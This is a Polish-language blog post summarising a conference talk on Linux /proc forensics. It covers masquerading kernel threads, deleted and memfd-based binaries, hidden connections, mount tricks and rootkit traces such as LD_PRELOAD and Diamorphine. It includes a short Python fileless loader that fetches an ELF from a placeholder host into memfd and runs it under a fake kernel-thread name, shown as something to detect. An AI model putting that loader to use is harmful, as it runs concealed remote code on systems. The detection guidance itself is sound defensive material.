P
odczas konferencji BSides w Monachium Stephan Berger oraz Asger Strunk przedstawili prelekcję pt. “/proc Dla Analityków Bezpieczeństwa: Ujawnianie Ukrytych Zagrożeń i Skarbów dla Informatyki Śledczej” (ang. “/proc For Security Analysts: Unveiling Hidden Threats And Forensic Treasures”), której agenda oraz poruszane tematy idealnie pasują, aby przeprowadzić małe podsumowanie tego zestawu tematów na przykładach poruszanych w szerszym zakresie na łamach NF.sec. Dlatego pozwolę sobie na małą transkrypcję owej prelekcji wraz z odsyłaniem do bardziej obszernych publikacji zagłębiających się w poruszane tematy. Oprócz dobrze już nam znanych zagadnień autorzy dodali również klika nowych smaczków, z których możemy dowiedzieć się nowych rzeczy i uzupełnić swój warsztat.
Wprowadzenie:
Katalog /proc (zwany również jako system plików proc / procfs – wirtualny system plików) zawiera hierarchię specjalnych plików reprezentujących aktualny stan działającego systemu (jądra). Pozwala to aplikacjom oraz użytkownikom na wgląd w widok systemu z poziomu jądra oraz manipulowanie niektórymi plikami, aby dynamicznie przekazywać zmiany w jego konfiguracji. Zawiera on wiele informacji na temat sprzętu systemowego i uruchomionych procesów:
root@darkstar:~# find /proc/[0-9]* -maxdepth 0 -type d | sort -V | head /proc/1 /proc/2 /proc/3 /proc/4 /proc/5 /proc/6 /proc/8 /proc/10 /proc/11 /proc/12Jeśli kiedykolwiek zastanawialiśmy się jak działa narzędzie lsof lub ps możemy wydać proste polecenie:
root@darkstar:~# strace -e trace=openat ps openat(AT_FDCWD, "/proc/uptime", O_RDONLY) = 3 openat(AT_FDCWD, "/proc/sys/kernel/pid_max", O_RDONLY) = 4 openat(AT_FDCWD, "/proc/sys/kernel/osrelease", O_RDONLY) = 4 openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5 openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/4/stat", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/4/status", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/5/stat", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/5/status", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/6/stat", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/6/status", O_RDONLY) = 6aby przekonać się, iż de facto iteruje ono przez katalog /proc i zbiera potrzebne mu informację. Dzięki temu z “katalogu” /proc możemy dowiedzieć się o: linii poleceń i katalogu roboczym procesu; zmiennych środowiskowych; deskryptorach plików (otwartych plikach, gniazdach); statusie procesu; informacji o połączeniach sieciowych; zmapowanej pamięci i wielu innych artefaktach. Więcej informacji znajdziemy w “prezentacji” tego systemu plików oraz stronach podręcznika.
Wartości /proc dla Informatyki Śledczej:
W przypadku procesów, które są przez cały czas uruchomione, ich argumenty wiersza poleceń pojawiają się w plikach cmdline systemu plików proc w takim samym układzie, w jakim pojawiają się w pamięci procesu. Ale procesy mają swobodę nadpisywania obszaru pamięci. jeżeli proces modyfikuje swoje argumenty wiersza poleceń po wywołaniu systemowym execve(), pojawią się one tutaj. Pomyślmy o tym pliku jak o wierszu poleceń, który proces chce nam pokazać:
root@darkstar:~# ps aux | grep 3600 root 2715802 0.0 0.1 6132 1792 pts/1 S 07:37 0:00 [kworkerd] 3600 root@darkstar:~# cat /proc/2715802/comm [kworkerd] root@darkstar:~# cat /proc/2715802/cmdline [kworkerd] 3600Możemy również sprawdzić z jakiego katalogu roboczego został uruchomiony dany proces:
root@darkstar:~# ls -al /proc/2715802/cwd lrwxrwxrwx 1 root root 0 Oct 26 07:38 /proc/2715802/cwd -> /tmpWidzimy, iż cwd jako link symboliczny kieruje do katalogu tymczasowego, co stanowi czerwoną flagę. Możemy również sprawdzić zmienne środowiskowe takiego procesu:
root@darkstar:~# strings /proc/2715802/environ SHELL=/bin/bash PWD=/tmp LOGNAME=root XDG_SESSION_TYPE=tty HOME=/rootPlik environ zawiera początkowe zmienne środowiskowe, które zostały ustawione, gdy aktualnie wykonywany program został uruchomiony dzięki execve(). jeżeli po tym wywołaniu systemowym proces zmodyfikuje swoje zmienne środowiskowe (np. wywołując takie funkcje jak putenv() lub modyfikując zmienną środowiskową bezpośrednio), plik ten nie odzwierciedli tych zmian. Daje nam to dobry obraz z jakimi startowymi wartościami uruchamiał się proces lub co chciał zamaskować. Kolejnym artefaktem są deskryptory plików:
root@darkstar:~# ps aux | grep -i vi root 2716698 1.7 1.4 26344 14336 pts/2 Sl+ 07:46 0:00 vi tools/uac-3.0.0-rc2/LICENSES.md root@darkstar:~# ls -l /proc/2716698/fd [...] lrwx------ 1 root root 64 Oct 26 07:47 4 -> /root/tools/uac-3.0.0-rc2/.LICENSES.md.swpfd to podkatalog zawierający jeden wpis dla wszystkich pliku otwartego przez dany proces, nazwany według jego deskryptora pliku i będący linkiem symbolicznym do rzeczywistego pliku. Daje nam to możliwość sprawdzenia, jakich plików dotyka dany proces. W przypadku deskryptorów plików dla potoków i gniazd sieciowych, wpisy będą dowiązaniami symbolicznymi, których zawartość jest typem pliku z i-węzłem. Dla przykładu: socket:[5521323] będzie gniazdem, a jego i-węzeł to: 5521323. Numer ten może zostać później użyty do znalezienia innych informacji w plikach znajdujących się w /proc/net/.
root@darkstar:~# ls -l /proc/2715650/fd [...] lrwx------ 1 root root 64 Oct 26 07:56 2 -> /dev/null lrwx------ 1 root root 64 Oct 26 07:56 3 -> 'socket:[5521323]' root@darkstar:~# grep 5521323 /proc/net/tcp 37: 465C3B92:0016 CCA0E659:B29C 01 00000000:00000000 00:00000000 00000000 0 0 5521323 1 ffff947403f6bd40 22 4 31 10 -1I prawie na końcu jest plik maps – zawierający aktualnie mapowane obszary pamięci i uprawnienia dostępu do nich. Format tego pliku jest następujący:
root@darkstar:~# cat /proc/330337/maps address perms offset dev inode pathname 5614b99e4000-5614b99f0000 r--p 00000000 08:01 10744 /usr/libexec/packagekitd 7f130b5ec000-7f130b643000 r--p 00000000 08:01 11198 /usr/lib/locale/C.utf8/LC_CTYPE 5614d9608000-5614d96f0000 rw-p 00000000 00:00 0 [heap]Jest to szybki przegląd niektórych rzeczy pomagających w informatyce śledczej jeżeli chodzi o /proc. jeżeli zaczniemy w nim bardziej grzebać znajdziemy znacznie więcej przydatnych informacji.
Zamaskowane procesy:
Wracając do naszego procesu [kworkerd] – czy rzeczywiście jest on procesem jądra systemowego?
Wszystkie wątki jądra są potomkami kthreadd (pid 2), który jest uruchamiany przez jądro (pid 0) podczas rozruchu. Kthreadd enumeruje inne wątki jądra; zapewnia procedury interfejsu, dzięki którym inne wątki jądra mogą być dynamicznie tworzone w czasie wykonywania przez usługi jądra. Wątki jądra można przeglądać z wiersza poleceń dzięki polecenia: ps -ef — są one wyświetlane w [nawiasach kwadratowych]:
root@darkstar:~# cat /proc/127898/status Name: [kworkerd] Umask: 0002 State: S (sleeping) Tgid: 127898 Ngid: 0 Pid: 127898 PPid: 2397Raczej nie bo jego proces nadrzędny (rodzic) nie posiada wartości “2“, jak ma to w przypadku prawdziwego procesu:
root@darkstar:~# cat /proc/330343/status Name: kworker/3:2-events Umask: 0000 State: I (idle) Tgid: 330343 Ngid: 0 Pid: 330343 PPid: 2Jeśli sprawdzimy teraz zmapowane obszary pamięci procesu zobaczymy:
root@darkstar:~# ps aux | grep 3600 root 2715802 0.0 0.1 6132 1792 pts/1 S 07:37 0:00 [kworkerd] 3600 root@darkstar:~# cat /proc/2715802/maps aaaae77a0000-aaaae7a1000 r-xp 00000000 08:02 1350400 /home/parallels/malware [...] ffffb884d000-ffffb8850000 r--p 0019d000 08:02 534028 /usr/lib/aarch64-linux-gnu/libc.so.6Gdzie prawdziwy proces jądra tutaj nie ma żadnych wartości:
root@darkstar:~# cat /proc/330343/maps root@darkstar:~#Podobnie jest w przypadku pliku wykonywalnego:
root@darkstar:~# ps aux | grep 3600 root 2715802 0.0 0.1 6132 1792 pts/1 S 07:37 0:00 [kworkerd] 3600 root@darkstar:~# sha256sum /proc/2715802/exe 9e7caf2d605cf1651e367e465b933dbc434be2c4d8c68fcefdd0ec1dc1f63390 exePoznając jego skrót możemy sprawdzić, czy nie jest on znany wśród szkodliwego oprogramowania. Plus rzeczywisty proces jądra również nie zwróci nam żadnej wartości:
root@darkstar:~# sha256sum /proc/330343/exe sha256sum: exe: No such file or directoryNa tym etapie warto wspomnieć, iż jeżeli szkodliwe oprogramowanie zmieniło LD_PRELOAD to jest wielce prawdopodobne, iż polecenie ps może zakłamywać nam wyniki swojego działania. Na szczęście tego typu zabieg można również wykryć.
Bezplikowy malware:
W przypadku systemów Linux szkodliwe oprogramowanie bardzo często usuwa swoje ślady z dysku lub od razu ładuje się do pamięci dzięki osławionego memfd_create, aby uniknąć wykrycia poprzez skanowanie systemu plików:
root@darkstar:~# ps aux | grep 3600 root 2715802 0.0 0.1 6132 1792 pts/1 S 07:37 0:00 [kworkerd] 3600 root@darkstar:~# ls -l /proc/2715802/cwd lrwxrwxrwx 1 root root 0 Oct 26 07:38 /proc/2715802/cwd -> /tmp root@darkstar:/tmp# ls *kworkerd* ls: cannot access '*kworkerd*': No such file or directoryOprócz kolejnej czerownej flagi powiewającej przy wątku jądra, którego katalog roboczy znajduje się w lokalizacji dla plików tymczasowych – mamy jeszcze informację, iż dany plik w tej ścieżce nie istnieje. Skoro takiego pliku nie ma w podanym katalogu to czy można go odzyskać? Tak – o ile proces jest cały czas uruchomiony i załadowany w pamięci systemu. Wystarczy go zrzucić z odpowiedniej ścieżki w /proc:
root@darkstar:/proc/2715802# ls -l exe lrwxrwxrwx 1 root root 0 Oct 26 07:38 exe -> '/tmp/[kworkerd] (deleted)' root@darkstar:/proc/2715802# cp exe /tmp/kworkerd_dumped root@darkstar:/proc/2715802# file /tmp/kworkerd_dumped /tmp/kworkerd_dumped: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f098c4424cecb322b2becd59b2fd70deedf1fdac, for GNU/Linux 3.2.0, strippedMimo, iż tego typu procesy próbują ukryć swoją obecność w systemie plików to jednak w /proc zawsze odnotowana jest tego typu aktywność: (deleted):
url = 'http://$ip/$name.elf' bin = urllib.urlopen(url).read() fdd = ctypes.CDLL(None).syscall(319,'',1) ffd = open('/proc/self/fd/'+str(fdd),'wb') ffd.write(bin) ffd.close() os.execl('/proc/self/fd/'+str(fdd),'[dfir-kthread]') root@darkstar:~# ls -alR /proc/*/exe 2> /dev/null | grep memfd:.*\(deleted\)Symbiote – /proc/net/tcp:
Rootkit, który dobrze maskuje swoją aktywność sieciową – szczególnie jeżeli chodzi o informacje z /proc/net/tcp – jeżeli aplikacja próbowała otworzyć wspomniany plik szkodliwe oprogramowanie tworzyło tymczasowy plik i kopiowało do niego pierwszy wiersz z oryginału. Następnie skanowało każdy wiersz pod kątem obecności określonych portów. jeżeli znajdowało port, którego szukało w skanowanym wierszu, przechodziło do następnego wiesza pomijając jego kopiowanie. Zasadniczo dawało to aplikacji wyczyszczone wyniki, które wykluczały wszystkie wpisy połączeń sieciowych, które rootkit chciał ukryć. Jednak, jak zauważa autor wykładu wszystko w Linuksie jest plikiem, a to nie jest jedyny plik, który śledzi połączenia sieciowe. W zależności od konfiguracji naszego systemu i faktu czy używamy na nim stanowej zapory sieciowej – możemy spotkać się z plikiem nf_conntrack, który kiedyś był do znalezienia w ścieżce: /proc/net/nf_conntrack. Aktualnie, czy jest on obecny w systemie lub nie – decyduje ustawienie: CONFIG_NF_CONNTRACK_PROCFS, które najczęściej nie jest już aktywne w wielku dystrybucjach:
root@darkstar:~# lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 22.04.5 LTS Release: 22.04 Codename: jammy root@darkstar:~# grep 'CONFIG_NF_CONNTRACK_PROCFS' /boot/config-5.15.0-130-generic # CONFIG_NF_CONNTRACK_PROCFS is not setJak podaje dokumentacja plik ten został zastąpiony przez narzędzie conntrack, które zamiast tego korzysta z interfejsu API jądra netlink(7). Dzięki temu możemy spoglądać na dynamiczną listę połączeń, gdy tylko jakieś zostanie nawiązane, zmodyfikowane lub zakończone:
root@darkstar:~# conntrack -L -p tcp --dport 9191 tcp 6 9 CLOSE src=1.2.3.4 dst=4.3.2.1 sport=34932 dport=9191 src=4.3.2.1 dst=1.2.3.4 sport=9191 dport=34922 [ASSURED] mark=0 use=1Dzięki temu mamy szansę porównania, co mówi nam tablica z jednego i drugiego źródła, aby znaleźć “kłamcę”:
root@darkstar:~# netstat -naplet | grep ESTABLISHED | grep ':22 ' tcp 0 52 1.5.9.7:22 8.2.1.2:49715 ESTABLISHED 0 19517598 3642789/sshd: agresor tcp 0 0 1.5.9.7:22 8.2.1.2:43970 ESTABLISHED 0 19517534 3642710/sshd: agresor root@darkstar:~# conntrack -L -p tcp --dport 22 --state ESTABLISHED tcp 6 431993 ESTABLISHED src=8.2.1.2 dst=1.5.9.7 sport=43970 dport=22 src=1.5.9.7 dst=8.2.1.2 sport=22 dport=43970 [ASSURED] mark=0 tcp 6 299 ESTABLISHED src=8.2.1.2 dst=1.5.9.7 sport=49715 dport=22 src=1.5.9.7 dst=8.2.1.2 sport=22 dport=49715 [ASSURED] mark=0Należy jednak zachować czujność, gdy conntrack pokaże nam wpis, który nie istnieje w netstat – ponieważ może okazać się, iż widnieje tam połączenie np. w stanie ESTABLISHED, ale powoli ono wygasa – to znaczy, iż nie aktualizuje swojego licznika (3 kolumna), który za każdym wywołaniem polecenia zmniejsza swoją wartość dążąc do zera.
BPFDoor:
Kolejnym przykładem jest BPFDoor – o ile jego techniki ukrywania są dobre – to zanim do nich dojdzie oprogramowanie to przechodzi przez wiele potykaczy, które nie są standardowym zachowaniem procesów uruchamianych w systemie Linux. Po pierwsze mamy ponownie zjawisko usuwania swojego pliku binarnego z dysku po uruchomieniu (patrz wyżej: (deleted)). Po drugie robi to z katalogu /dev/shm (co stanowi też czerwoną flagę) – jako administrator (bo musisz mieć uprawnienia użytkownika root, aby zapisywać i odczytywać z tego katalogu). Dlatego jego wykrycie polega na prostym monitorowaniu, jakie pliki binarne są uruchamiane z tego katalogu.
Zabawy z /proc:
Na slajdach możemy zobaczyć omówienie chowania dowolnego procesu dzięki polecenia mount. Najszybciej taka anomalia może zostać zauważona poprzez sprawdzenie punktów montowania, które posiadają frazę “/proc” + “$PID“:
root@darkstar:~# findmnt | egrep "\/proc\/[0-9]+" | grep "\[" │ ├─/proc/1027 /dev/sda2[/tmp/.hidepid] ext4 rw,relatime root@darkstar:~# egrep "\/proc\/[0-9]+" /proc/mounts /dev/sda2 /proc/1027 ext4 rw,relatime 0 0Wykrywanie rootkitów z /proc:
Ostatnim tematem poruszanym na prezentacji są okruszki pozostawiane przez popularne rootkity. Na pierwszy ogień poszły ślady pozostawiane przez ich skażone moduły jądra:
root@darkstar:~# egrep '(\(.*\)|OE)' /proc/modules suspicious_module 110592 2 - Live 0xffffffffc0724000 (OE) root@darkstar:~# dmesg | egrep '(out-of-tree|taint)' [1.095599] suspicios_module: loading out-of-tree module taints kernel. [1.095600] suspicios_module: module verification failed: signature and/or required key missing - tainting kernelJeśli trafimy na taki wpis bardzo możliwe, iż posiadamy zainstalowany rootkit na naszym systemie, który próbuje ukryć aktywność innych procesów. Prowadzący ponownie zwraca uwagę, iż w takim przypadku dobrą praktyką jest porównywanie wyników z wspomnianego polecenia ps z rzeczywistymi wpisami w katalogu /proc. Przy okazji tego typu czynności poleca narzędzie o nazwie Unhide. Wykład powraca ponownie do wcześniej wspomnianej techniki ładowania bibliotek współdzielonych dzięki LD_PRELOAD, które mogą przekłamywać wyniki różnych poleceń systemowych. Najprostszym sposobem ich wykrycia jest przeszukanie zmiennych środowiskowych z jakimi został uruchomiony proces:
root@darkstar:~# cat /proc/45560/envirion SHELL=/bin/bashPWD=/rootLOGNAME=rootLD_PRELOAD=/tmp/malware.so root@darkstar:~# grep malware /proc/45560/maps 7f4c910c4000-7f4c91164000 r--p 00000000 08:01 777022 /tmp/malware.so 7f4c91164000-7f4c91483000 r-xp 000a0000 08:01 777022 /tmp/malware.solub sprawdzenie globalnej konfiguracji dla systemu:
root@darkstar:~# cat /etc/ld.so.preloadNa końcu prelekcji wspomniany zostaje rootkit Diamorphine, który jest szeroko wykorzystywany przez grupy APT oraz jako baza dla innego szkodliwego oprogramowania. W standardowej konfiguracji można go wykryć zaglądając do /proc/kallsyms (pliku, który zawiera eksportowane przez jądro nazwy funkcji i zmienne używane m.in. przez ładowane moduły):
root@darkstar:~# grep diamorphine /proc/kallsyms fffffffffc0673000 T diamorphine_init [diamorphine]Podsumowanie:
Prezentacja pokazuje wiele technik i informacji z systemu plików /proc, jakie można wykorzystać przy detekcji szkodliwego oprogramowania. Zgłębiając wszystkie przedstawione informacje można dojść do wniosku, iż nie istnieje takie zjawisko jak “kompletna niewidzialność w systemie”. Niezależnie od poziomu zaawansowania tego, co przedostanie się do naszego lub kogoś systemu zawsze jesteśmy w stanie znaleźć ślady niepożądanej obecność, które doprowadzą nas do źródła zagrożenia.
Więcej informacji: /proc For Security Analysts: Unveiling Threats And Forensic Treasures – Stephan Berger & Asger Strunk